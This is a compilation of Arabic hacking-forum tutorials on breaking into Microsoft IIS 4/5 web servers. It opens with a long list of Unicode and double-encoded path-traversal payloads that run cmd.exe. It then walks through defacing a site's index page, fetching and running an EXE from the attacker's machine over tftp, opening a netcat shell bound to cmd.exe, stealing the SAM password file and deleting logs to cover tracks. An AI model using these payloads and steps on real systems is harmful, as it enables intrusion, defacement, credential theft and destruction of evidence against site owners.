/MSADC/..%%35c..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\

/MSADC/..%%35%63..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\

/MSADC/..%25%35%63..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\

/PBServer/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/PBServer/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\

/PBServer/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\

/PBServer/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\

/Rpc/..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/Rpc/..%%35c..%%35c..%%35cwinnt/system32/cmd.exe?/c+dir+c:\

/Rpc/..%%35%63..%%35%63..%%35%63winnt/system32/cmd.exe?/c+dir+c:\

/Rpc/..%25%35%63..%25%35%63..%25%35%63winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%255c..%255c..%255c..%255c..%255c../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%%35c..%%35c..%%35c..%%35c..%%35c../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%%35%63..%%35%63..%%35%63..%%35%63..%%35%63../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%25%35%63..%25%35%63..%25%35%63..%25%35%63..%25%35%63../winnt/system32/cmd.exe?/c+dir+c:\

/samples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/cgi-bin/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/iisadmpwd/..%252f..%252f..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\

/_vti_cnf/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/adsamples/..%255c..%255c..%255c..%255c..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%C1%1C..%C1%1C..%C1%1C..%C1%1Cwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%C1%9C..%C1%9C..%C1%9C..%C1%9Cwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%C0%AF..%C0%AF..%C0%AF..%C0%AFwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%252f..%252f..%252f..%252fwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/scripts..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%c1%af../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\

/scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+dir+c:\

/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c+dir+c:\

/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\

2) بأمكانك الحصول على برنامج TFTPD من الموقع

http://iisbughelp.4t.com/
3) معرفة اليونيكود بسيطه جدا يكفي ان تعرف كيف تستطيع الانتقال عبر الهارديسكات وعبر الملفات

(تعمل عبر المتصفح )

/[scripts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\
لقرائه ما بداخل هارديسك \:C

/[scripts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+D:\
لقرائه ما بداخل هارديسك \:D

/[scripts]/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+E:\
لقرائه ما بداخل هارديسك \:E
نقوم بعمل سكان على الموقع لنرى ما به من ثغرات وهنا مثال على ثغرات مبتدأه بالمجلد المطلوب (( اغلب ثغرات اليونيكود تنطلق من هذه المجلدات )) 

1)مثال المجلد msadc

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\

2) مثال المجلد _vti_bin
/_vti_bin/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\

في سيرفرات IIS عند تركيبها (( بشكل عادي )) يكون المجلد الرئيسي للويب تحت اسم معين وهو :

C:\Inetpub\wwwroot
او في المجلد
D:\Inetpub\wwwroot
او في المجلد
E:\Inetpub\wwwroot
في العاده يكون في الهارديسك C ولذلك سأكمل شرحي على انه هناك
ستجد في هذا المجلد عادة جميع المواقع التي على السيرفر

فلو وجدنا ثغرة يونيكود ما ولتكن

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
وأردنا الولوج الى هذا الملف لنرى ما به فسنكتب الثغره هكذا :
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+dir+C:\Inetpub\wwwroot

اذا كان السيرفر يحوي عدة مواقع فستجدها كل موقع باسمه ( ستجدها في مجلدات بداخل مجلد الـ wwwroot ) اما لو كان السيرفر عباره

عن موقع واحد فقط فستجد كافة الملفات في مجلد الـ wwwroot نفسه

في اغلب الظن يقوم الهاكر بتغيير الصفحة الرئيسيه الاولى وعليك ان تعلم انه ليس دائما الصفحة الرئيسيه الاولى تحمل اسم index.htm
هناك عدة تسميات وأختصارات لها وهذه بعضها (( معظمها ))

index.htm
index.asp

default.htm

default.asp

main.htm

main.asp

لنفرض الان اننا وجدنا ان الصفحة الرئيسيه للموقع في مجلدنا wwwroot هي index.htm فكيف سنقوم بتغييرها وهو ما يهمنا تقريبا من عملية
الاختراق هذه

سنقوم اولا بتغيير اسم الملف من index.htm الى اي اسم اخر يخطر ببالك وليكن ss.htm
طبعا سنرسل الامر عبر ثغرة اليونيكود من المتصفح لديك وسنقوم بتغيير الداله c+dir الى الداله c+ren
(( عليك ان تعرف ان الاوامر التي سوتضع هي نفس الاوامر الموجوده في Dos وفي Command Prompt فعليك ان تكون عارفا بما هو الامر المراد استخدامه

المهم ستكتب الثغره هكذا :

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+ren+C:\Inetpub\wwwroot\index.htm+ss.htm

وهكذا فقد تم تغيير اسم الصفحة من index.htm الى ss.htm
ارأيتم كم هو سهل :) ؟

Aيبدو انك ايها المخترق لم تكتفي باغلاق الصفحة الرئيسيه للموقع فانت تريد ان تضع صفحة بموضوع اخر وليكن الموضوع هو

Hacked!!!
فكيف سنرسلها في صفحة index.htm ؟؟
هناك عدة طرق ومنها سأذكر هذه الطريقه وهي عبر الاتصال بمنفذ TFTP الذي ستكون فيه انت في وضع السيرفر والموقع الذي امامك

في وضع الكلاينت

 

كيف سيتم هذا ؟

 

اولا قم بتركيب نظام سيرفر TFTP على جهازك ( البرنامج المذكور في اول الموضوع من افضل البرامج وهناك برنامج اخر اكثر احترافا ولكن هذا يكفي )

الان ضع السيرفر الرئيسي في \:C لديك

قم بتصميم صفحة خفيفه وسريعه وسمها index.htm وضعها في \:C
 

الان نريد ان نرسل للسيرفر الملف الجديد من \:C لدينا الى ملف

C:\inetpub\wwwroot
لا ليس الامر صعبا ففي نظم ميكروسوفت يوجد امر (( هو بالأصح برنامجا منفصلا )) يحمل اسم TFTP وهو عباره عن كلاينت بسيط يستخدم
بروتوكول TFTP وهو بروتوكول بسيط جدا جدا (( يسميه البعض البروتوكول التافه )) يقوم بسحب او ارسال الملفات من والى الجهاز

نحن نريد ان يسحب ملفا من جهازنا فكيف لنا ذلك ؟

طبعا لو كنا في غير اليونيكود لكتبنا توليفة الامر التالي :

tftp.exe -i XXX.XXX.XXX.XXX get index.htm C:\inetpub\wwwroot\index.htm
(( XXX.XXX.XXX.XXX تعني اي بي السيرفر المراد سحب الملف منه ))
في توليفة هذا الامر يقوم الكلاينت بطلب الملف المسمى index.htm ليضعه في جهازه في المجلد wwwroot
ولكن لا تنسى فشكل توليفة الاوامر يختلف من الوضع العادي عن وضع اليونيكود

فما هو الحل ؟

الحل هو ان تحول توليفة الامر الى يونيكود لتضعه في الثغره التي لديك

بعد تحويل الامر الى يونيكود سيصبح شكله كالتالي :

tftp.exe+"-i"+XXX.XXX.XXX.XXX+GET+index.htm+C:\Inetpub\wwwroot\index.htm
ياللروعه لقد تجاوزنا العقبه بالفعل :)

 

الان قم بتشغيل سيرفر الـ TFTP وقم بتجهيز ملف الـ index.htm
وقم بالاتصال مع الموقع عبر ثغرة اليونيكود المضاف اليها هذه التوليفه ليصبح في النهايه على هذا النحو :

/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+tftp.exe+"-i"+XXX.XXX.XXX.XXX+GET+index.htm+C:\Inetpub\wwwroot\index.htm 

وهكذا قمنا بتحميل الصفحة الى الانترنت وانتيهنا من عملية الاختراق (( تقريبا :) ))

ملحوظه : يمكنك ان تقوم بتحميل ملفات EXE ايضا وتشغيلها على السيرفر بنفس الاسلوب وهذا مثال :

لنفرض اننا نريد تحميل ملف EXE على السيرفر وسميناه hunter.exe ونريد تشغيله فكيف لنا ذلك ؟

سنتبع الاتي :

نقوم بتحميل الملف على السيرفر كما قمنا بتحميل index.htm ونضعه في \:C للسيرفر عبر هذه التوليفه :

/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+tftp.exe+"-i"+XXX.XXX.XXX.XXX+GET+hunter.exe+C:\hunter.exe 

بعد ان يتم تحميل الملف سنشغله عبر تنفيذ هذا الامر

/msadc/..%c1%9c../..%c1%9c../..%c1%9c../hunter.exe
او عن طريق هذا الامر
/msadc/..%c1%9c../..%c1%9c../..%c1%9c../winnt/system32/cmd.exe?/c+hunter.exe

 
الآن وقد قاربنا على الانتهاء بقي لدينا في السيرفر عمل واحد فقط الا وهو مسح ملفات اللوج log.* وسيكون ذلك عن طريق هذا الامر :
/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+C:\*.log/s

هناك انواع اخرى من الملفات يتم تخزين فيها بعض المعلومات ويفضل مسحها ايضا وهي مثل الملفات ذات الامتداد tmp
وهذا امر مسحها عبر اليونيكود :

/msadc/..%c0%af../..%c0%af../..%c0%af../winnt/system32/cmd.exe?/c+del+C:\*.tmp/s

ايضا ملحوظه مهمه وهي ان لا تبقى اي معلومات عنك في السيرفر كما يفعل البعض بذكر اسمائهم او ايميلاتهم الحقيقيه قم بمسح اي شيء يدل عليك

او على عملية الاختراق (( حاول ان تصل الى هذا المستوى ))

هناك عدد من الاشياء والافكار لن اتطرق اليها مثل ارسال فايروس ما او امر على ملف bat حتى تتمكن من وضع مشكله كبيره في السيرفر لكي لا يعمل

او ان ترسل فايروس يقوم بمحو جميع ملفات النظام او ان تمرز نفسك لديهم في السيرفر عن طريق برامج التحكم عن بعد و اخفائها بشكل جيد

في المجلدات ذات الملفات الكثير (( مثل system32 )) والكثير الكثير

 

________________________________________________________________________________

ملحوظات : لن تعمل هذه الثغره في كل الحالات فهناك بعض السيرفرات يقومون بقطع الطريق عليك عن طريق مسح ملف tftp من سيرفراتهم

(( الملف المسؤول عن ذلك موجود في المجلد system32 )) وبعض السيرفرات قامت بعملية الترقيع (( اصدرت ميكروسوفت ترقيعا لهذه الثغره ))

وبعضهم قد يكون واضع فاير وول يقوم بمراقبة الباكيج الصادر والوارد وقد يقوم بعمل اصطياد لمثل هذه العمليات

واخرون يقومون بتركيب برنامج الحمايه القوي جدا في نظم IIS الا وهو Secure IIS من شركة Eeye
والعديد العديد من العقبات ولكن عند كتابة هذا الموضوع (( قبل حوالي اربعة اشهر )) كان ما يقارب 90% من السيرفرات التي فيها نظام IIS
تحوي هذه الثغره وبدون ترقيع (( لعدم وجوده وقتها )) او لأهمال المدير.

انتهى،،،

" الدليل الكامل لإختراق سيرفر IIS "

<منقول من منتديات شبكة الحزم>

<الكاتب: DEMON >

--------- 
مقدمة : - 
--------- 
يعلم الجميع مدى انتشار سيرفرات IIS حيث تشكل النسبة الاكبر المستخدمة في تشغيل مواقع الانترنت .. 
ويعلم الجميع مدى ضعف الناحية الامنية لهذه السيرفرات .. لذا قررت القيام بجمع اشهر ثغرات هذا النوع مع توضيح كيفية عملها . 

--------- 
ملاحظة : - 
--------- 
معظم الطرق الموجودة هنا تعمل على سيرفرات IIS4.0 و IIS5.0 وجميعها تعتمد على البورت 80 ((يعني من خلال المتصفح)) . 

------------- 
المتطلبات : - 
------------- 
1- CGI-Scanner جيد .. أنا افضل Whisker (يمكنك تنزيله من هذا الموقع : www.wiretrip.net/rfp ) 
2- اكتيف بيرل لتشغيل ملفات البيرل ( يمكنك تنزيله من الموقع : http://www.activestate.com/ ) 
3- ويب سيرفر (اي نوع) اباتشي او IIS .. 


#########################
#########################

#########################



########### 
#! Game Starts # 
########### 


---------------- 
IIS Hack.exe : - 
---------------- 
اكتشف خبراء الامن في شركة eEye ثغرة امنية تسمح لك بتحميل نسخه ذكية من nc.exe وجعلها تنصت على المنفذ 80 .. 
وهذا سيعطيك سطر اوامر cmde.exe مع امتيازات Administrator . 
بامكانك انزال NC.exe و IIS Hack.exe من الموقع http://www.technotronic.com/ . 
ويجب تشغيل ويب سيرفر في جهازك قبل تنفيذ الثغرة .. 
قم بنسخ اداة nc.exe وضعها في الدليل الرئيسي للويب سيرفر لديك (في اباتشي Htdocs) وفي IIS الدليل wwwroot . 
ثم قم بتشغيل IISHack.exe : 
c:\>iishack.exe http://www.target.com/ 80 your_IP/ncx.exe 
وبعد اتمام الخطوة السابقة بنجاح : 
c:\>nc http://www.target.com/ وستجد امامك eGG SheLL 

ملاحظة : تعمل هذه الثغرة على سيرفرات IIS4.0 فقط ((اذا لم يتم تركيب الرقعه)) . 

do you want me to explain what to do next, hey common you must be kidding 
...hehe.... 


----------------- 
MDAC = RDS :- 
----------------- 
اعتقد انها ثغرة قديمة قليلا (لكني ما زلت ارى ان 40% من المواقع تعاني منها .. 
تسمح لك هذه الثغرة بتشغيل اوامرك على النظام الهدف بشكل محلي .. سيتم تشغيل وامرك بصفتك مستخدم SYSTEM اي بصلاحيات مدير النظام .. على العموم اذا اردت معرفة اذا ما كان النظام مصابا بهذه الثغرة ام لا .. 
قم اولا بالاتصال بالنظام الهدف : c:\>nc -nw -w 2 http://www.host.com/ 80 ثم قم بارسال الامر : GET /msadc/msadcs.dll HTTP 
فإذا كان الرد : application/x_varg فهذا يعني ان النظام مصاب (( اذا لم يتم ترقيعه )) .. 
بامكانك ايجاد سكربتات بيرل تسهل عليك العمل في هذا الموقع : www.wiretrip.net/rfp (( mdac.pl - msadc2.pl )) v 
c:\> mdac.pl -h host.com 
Please type the NT commandline you want to run (cmd /c assumed):\n 
cmd /c 
إذا اردت تغيير الصفحه الرئيسية ما عليك الا تنفيذ الامر : echo hacked by me hehe > C:\inetpub\wwwroot\index.htm 
وإذا أردنا احكام السيطرة على الموقع بامكاننا تحميل Hacker's Swiss knife Army اقصد Nc.exe بواسطة هذا الامر : 
%systemroot%&&tftp -i YourIP GET nc.exe&&del ftptmp&& attrib -r nc.exe&&nc.exe -l -p 80 -t -e cmd.exe 
(( قم بقراءة الامر من اليسار الى اليمين لتتمكن من قراءته جيدا )) 
بعدها قم بالاتصال بالنظام الهدف على المنفذ 80 وستجد سطر اوامر مع امتيازات Administrator . 


-------------------------------------- 
Codebrws.asp & Showcode.asp :- 
-------------------------------------- 
الملفان عبارة عن قاريء ملفات ASP يأتي مع IIS ولكنه لا يأتي محمل افتراضيا بل يجب على مدير النظام تفعيله .. 
فإذا كانت هذه الخدمة مفعلة ستسفيد منها كثيرا قهي تسمح لك بقراءة اي ملف .asp ((اعني رؤية المصدر)) . 
باستخدام هذا الامر ستحصل على ملف السام (( اذا كان النظام مصابا )) : 
http://www.victim.com/msadc/samples...nt/repair/sam._ 
بعد الحصول على ملف السام Expand it & Crack it .. باستخدام الاداة المفضلة لدي LC3.0 (سيتم كسرها في اقل من 24 ساعه ) . 


-------------- 
Null.htw : - 
------------ 
عملية شرح كيفية عمل هذه الثغرة معقد قليلا .. لذا سأكتفي فقط بطريقة الاستفادة منها .. 
باختصار تسمح لك برؤية السورس كود لاي ملف ASP .. 
لتنفيذ الثغرة : http://www.victim.com/null.htw?CiWe...HiliteType=full 
سيعرض لك هذا الرابط السورس كود الخاص بالصفحه Default.asp . 


---------------------- 
webhits.dll & .htw : - 
---------------------- 
اولا قم بتجربة اللنك على النظام الهدف : http://www.victim.com/blabla.htw 
فإذا كان الرد بهذه العبارة : format of the QUERY_STRING is invalid فهذا يعني ان النظام الهدف مصاب بنسبة 90% . 
اخيرا جرب تنفيذ الثغرة بهذه الطريقة : 
www.victim.com/xxxxxxxxx/xxxxxxxx/x...hilitetype=full 
مع تغيير الـ XXXXX/XXXXX/XXXX/XXX.htw باحد هذه الملحقات , وبالتأكيد سيعمل احدها : 
iissamples/issamples/oop/qfullhit.htw 
iissamples/issamples/oop/qsumrhit.htw 
isssamples/exair/search/qfullhit.htw 
isssamples/exair/search/qsumrhit.htw 
وبالتالي ستحصل على ملف السام قم بكسره بواسطه الاداة LC3 .. 


------------------------------------------------ 
[ASP Alternate Data Streams [::$DATA :- 
------------------------------------------------ 
هذه الثغرة كانت بدايتها منذ العام 1998 .. وهي مخصصة بالتحديد لسيرفرات IIS3.0 والان تعمل على بعض سيرفرات IIS4.0 .. 
ومهمتها عرض السورس كود لاي صفحه (( البعض يتساءل مالفائدة من عرض سورس الصفحه ؟؟ )) الاجابة ان بعض الصفحات تحتوي على معلومات مهمة مثل كلمات مرور قواعد البيانات مثل Global.asa 
يمكن تنفيذ الثغرة من المتصفح بواسطة هذا الأمر http://www.victim.com/default.asp::$DATA 


------------------ 
ASP dot bug : - 
------------------ 
ربما اقدم ثغرة في هذا النص هي هذه الثغرة حيث تقوم ايضا بعرض السورس كود الخاص بأي صفحه .. حيث تم اكتشافها في العام 1997 .. 
ويتم تنفيذها من المتصفح بهذا الشكل : 
.http://www.victim.com/sample.asp لاحظ النقطة الموجودة في اخر السطر 
وهي فقط تعمل على سيرفرات IIS3.0 . 


------------------------------------ 
ISM.DLL Buffer Truncation : - 
------------------------------------ 
خطأ برمجي يسمح للمهاجم بسحب الملفات ورؤوية السورس كود ايضا .. 
وفكرة الثغرة هي التحايل على السيرفر بإيهامه اننا قمنا يطلب ملف ما .. وفي الحقيقة نحن نقوم بطلب ملف اخر .. 
الملف المسؤوول عن هذا الخطأ هو ISM.dll حيث يتم تحميله بعدد كبير من الرموز المسافة (%20 ) Space . 
يمكن تنفيذ الثغرة بهذا الشكل : 
http://www.victim.com/global.asa%20(...<=230)global.asa.htr 
مكان الـ 230=> نقوم بوضع 230 مسافة بهذا الشكل 20% .. 
هذا الخطأ يعمل على سيرفرات IIS 4.0&5.0 .. ولكن لا يمكن تجربتها على السيرفر اكثر من مره الا اذا قام بتسجيل خروج وتسجيل دخول , ويعود السبب في ذلك ان الثغرة السابقة تؤدي الى ايقاف الملف ISM.dll عن العمل في الذاكرة بينما تطلب الثغرة ان يكون الملف المذكور قيد العمل .. لذا يجب اعادة تحميل الملف في الذاكرة مره اخرى .. اي بمعنى اخر يجب ان يقوم مدير النظام الهدف بعمل اعادة تشغيل Rebot او Logout & Login . 


---------- 
+.htr :- 
--------- 
هذه الثغرة ايضا تقوم بعرض السورس الخاص بملفات ASP . 
يمكن استخدامها بهذا الشكل : 
http://www.victim.com/global.asa+.htr 


------------- 
site.csc : - 
------------ 
تمكنك هذه الثغرة من معرفة معلومات مهمة عن الـ DNS الخاص بالموقع بما في ذلك DSN, UID and PASS Database .. 
الثغرة : http://www.victim.com/adsamples/config/site.csc 
سيقوم المهاجم بانزال الملف المذكور .. وسيحصل على معلومات قيمة و هامة أيضا . 
انتهى،،،

"دراسة مفصلة وبعمق في الـUniCode"
<منقول من منتدى إعصار>

<الكاتب: Dark Devil>

السلام عليكم ورحمه الله و بركاته ::
ازيكم شباب ايه اخباركم كلكم ؟ اتمنى تكونوا بخيرو.
اعذرونى على غيبتى و انقطاعى عنكم و لكن و الله ظروف رهيبه 
و الان خلونا نرغى فى شويه كلام فاضى على رأى بروكن 
كنت اتصفح الانترنت و ادعبث شوى و بعدين جمعت بعض من المعلومات من ملفات مختلفه و هى تتحدث عن اليونى كود (طبعا الان معظمكم سيستعجل و يقول ياه ه ه ه ه يونى كود قديمه ....الخ ) و لكن انا اقوله اصبر لقد ذكرت اليونى كود فى المنتديات ثلاث مرات مره عن الصديق بلاك هنتر و مره من الاخ هكس و مره عن الصديق ديمون او ابو خلود لكن هذه المره صدقونى ستكون مختلفه تمام الاختلاف عن المرات السابقه (Trust Me )
و الان دعونا من ها الخرابيط و خلونا نقول الدرس يمكن يعجبكم::

اولا:
====
متى وجدت اليونى كود؟
Found On 15 May 2001 BY NSFOCUS

السيستيمز التى تتأثر بالثغره هى ::
All running IIS 4 / IIS 5 web server
Windows 2k
Windows 2k SP1 + SP2

ثغره اليونى كود ::هى عباره عن ثغره تسمح للهاكر بأن يشغل اوامر بالقوه بصلاحيه مسموح بها (اى يكون له امتياز IUSR_machinename account )

و تحدث هذه الثغره اصلا نتيجه ان روتين ال cgi الموجود على الويب سرفر نفسه يفك شفره عنوان الموقع مرتين و هذا ما نسميه بال DeCode (لا تقلق ستفهم بعد ذلك )

تعالى معى خلينى اوضحلك ايه الخرابيط الى انا كاتبها فوق دى 

و ليكن مثلا ::
http://iisserver/scripts/..%5c..%...md.exe?/c+dir+c ===> ثغره يونى كود

http://iisserver/ ====> سيكون هذا هو هدفنا اى الموقع المصاب بالثغره المذكروه

* /scripts/ - و هذا الفولدر لديه امتيازات تنفيذيه على السرفر (اى يمكن لليوزر تنفيذ اى امر على الوب سرفر من خلاله ) وهذا الفولدر ايضا هو المستخدم فى تنفيذ سكربتس ال cgi الموجوده على الوب سرفر و بالتحديد هذا الفولدر يسمى الفولدر التنفيذى اى executable directory )

و طبعا هذا الفولدر ليس له اسم ثابت هذا فقط مثال و لكن يمكن ان يكون له اسماء كثيره على الملقم iis و ملحوظه هامه:: لا يوجد على كل ملقم iis هذا الفولدرالتنفيذى اى executable directory 

و اعتقد ان الصديق بلاك هنتر و الاخ هكس قد ذكرو معظم اسامى هذه الديريكتورز فى شرحهم (فأنا اريد ان اربط الدروس مع بعض حتى تكون سلسله متكامله ) 

* winnt/system32/cmd.exe ===> و طبعا هذا هو ال cmd الذى يسمح لنا بأدراج سطور الاوامر التى نريد تنفيذها (و على فكره ممكن تستعمل هذا ال cmd فى استخدام اوامر مثل ping و netstat و traceroute ....الخ اعتقد انها فكره لم يلاحظها بعضنا )

* ؟- علامه الاستفهام تخيلو حتى علامه الاستفهام فى هذه الثغره لها دور فهذه العلامه تعنى الحاله التى ينفذ بها الامر (طبعا مش فاهم يعنى ايه ) و لا يهمك تعالى معى افهمك يعنى ايه علامه الاستفهام تعنى كلمه argument و هذه الكلمه هى التى تعنى الحاله التى سينفذ بها الامر اى انه امر مثلا ينفذ فى لحظه ثم ينتهى مثل copy مثلا ام انه امر مثلا ينفذ و لكن يستمر مفعوله و حقيقه ان طبعا معظم الاوامر التى نستخدمها هى الاوامر العاديه و هى من نوع argument /c و هذا ال /c يعنى ان الامر ينفذ فى لحظه ثم ينتهى 
تعالى افهمك اكثر :: لو عندك ويندوز 2000 افتح ال cmd بتاعك و اكتب هذا (cmd /?) و اضغط انتر ,سيظهر لك كلام كثير جداا و لكنى اخترت منه جزء بسيط فقط للتوضيح و انت عليك الباقى 
شوف ايه الى راح يظهر لك ::
Starts a new instance of the Windows 2000 command interpreter

CMD [/A | /U] [/Q] [/D] [/E:ON | /E:OFF] [/F:ON | /F:OFF] [/V:ON | /V:OFF]
[[/S] [/C | /K] string]
/C Carries out the command specified by string and then terminates
/K Carries out the command specified by string but remains
/S Modifies the treatment of string after /C or /K (see below)
/Q Turns echo off
/D Disable execution of AutoRun commands from registry (see below)

هذا جزء بسيط جداا مما راح يظهر لك و لكن تعالى نشوف هذا الجزء ايه معناه اولا يقولك ::
Starts a new instance of the Windows 2000 command interpreter و هذه الجمله تعنى بالعربيه بدايه حاله جديده من مترجم ال ويندوز 2000 و هذا طبعا وضح لنا ان كل cmd يمكن ان يتخكم صاحبه فى حالته حسب ما يفتح او يغلق الarguments . و بعدها يظهر لنا arguments كثيره و منها الذى نستعمله دائما فى الثغره و هو /c شوفو كده ما المكتوب امامه ::
Carries out the command specified by string and then terminates و هذا الكلام معناه انه ينفذ الامر الموجود فى سطر الاوامر ثم ينتهى و طبعا هذا للاوامر العاديه التى نعرفها 
تعالو نشوف السطر الى تحتيه ::سوف نجد انه يتكلم عن argument لا نراه فى ثغره اليونى كود و هو ال /k شوفو ايه مكتوب امامه::
Carries out the command specified by string but remains و طبعا معناه انه ينفذ الاوامر الموجوده فى السطر و لكن يستمر مفعولها (ما زلت ابحث عن اوامر مثل هذه و لكن هذا ما هو مكتوب امامى و لكن تقدر تقول انها الاوامر التى تأخذ فتره طويله حبتين مثل ping مثلا )
و مثلا هناك argument أخر مثل /Q و هذا نستخدمه فى اغلاق تفعيل امر echo كما هو واضح فى المثال فوق 
و هناك الكثير من هذه ال arguments و طبعا منها ما هو اساسى لا يمكنك التحكم فيه (يعنى فتحه او غلقه مثل ال /c و ال /k ) و هناك اخرين يمكنك ان تجعلهم on او off و بهذا تكون انت تتحكم بحاله ال cmd خاصتك (ياريت تنفذ الامر و تقرأ المكتوب لانك راح تلاقى تفاصيل الفتح و الغلق بالتفصيل ) و اصبروا على قليلا حتى انتهى من الامتحان الاول فى MCSE فى خلال اسبوعين ان شاء الله تعالى و بعد ذلك نعود اكثر قوه و نشرح لكم هذه النقطه بالتفصيل ان شاء الله بس اصبرو شوى 
اعتقد انك الان فهمت ما هى ال arguments و ما فائده /c التى تكتبها فى الثغره و انا متأكد انك لا تعرف معناها .
تعالو نروح لنقطه سهله و بسيطه جدااا فى الثغره ,انت تشغل ال cmd.exe لانك تريد ان تتحكم بالموقع و تغير الاندكس و الخ و و لكن تعالى مثلا نشغل اى ملف تانى ياترى كيف نشغله ؟
انا راح اقلك كيف ::كل ما عليك فعله هو ان تقوم بوضع اسم الفايل الذى تريد تشغيله بهذا الشكل Ping.exe+PRINT بلا من cmd.exe?/c و بهذا تكون قد شغلت الفايل الذى تريده 
(enjoy this ) .حيث تصبح الثغره بهذا الشكل ::
http://issserver/scripts/..%5c..%.../ping.exe+PRINT

* /c+ - و بالتالى كما عرفنا فوق انا /c هى ال argument للcmd.exe او الحاله التى سينفذ عليها ال cmd الامر اما علامه ال + التى بجانب ال /c فهى بمقام المسافه بين الكلمتين فى الثغره و لكن لا يمكننا اسبدالها بمسافه عاديه و بعدها يكون الامر الذى يحمله سطر الاوامر لينفده ثم علامه + ثانيه و بعدها اسم الدرايف الذى تعرض محتوياته على الشاشه حاليا .

